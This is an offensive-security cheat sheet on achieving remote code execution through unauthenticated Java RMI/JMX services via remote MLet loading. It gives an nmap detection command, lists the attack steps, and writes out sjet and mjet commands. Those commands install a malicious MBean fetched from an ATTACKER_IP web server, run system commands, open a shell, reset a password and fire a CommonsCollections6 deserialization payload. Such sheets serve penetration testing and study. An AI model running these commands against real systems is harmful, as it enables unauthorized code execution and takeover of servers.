# Java RMI

> The attacker can host a MLet file and instruct the JMX service to load MBeans from the remote host. 

## Summary

* [Exploitation](#exploitation)
    * [Requirements](#requirements)
    * [Detection](#detection)
    * [Remote Command Execution](#remote-command-execution)
* [References](#references)

## Exploitation

### Requirements
- Jython
- The JMX server can connect to a http service that is controlled by the attacker
- JMX authentication is not enabled


### Detection

```powershell
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
1089/tcp open  java-rmi Java RMI
| rmi-vuln-classloader:
|   VULNERABLE:
|   RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
| rmi-dumpregistry:
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
```

### Remote Command Execution

The attack involves the following steps:
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
* Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX
* Invoking the "getMBeansFromURL" method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
* The attacker finally invokes methods from the malicious MBean.

Exploit the JMX using [sjet](https://github.com/siberas/sjet) or [mjet](https://github.com/mogwailabs/mjet)

```powershell
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
jython sjet.py TARGET_IP TARGET_PORT super_secret shell
jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"

jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
```

## References

* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH - 28 APR 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
* [JMX RMI – MULTIPLE APPLICATIONS RCE - Red Timmy Security - 26th March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf)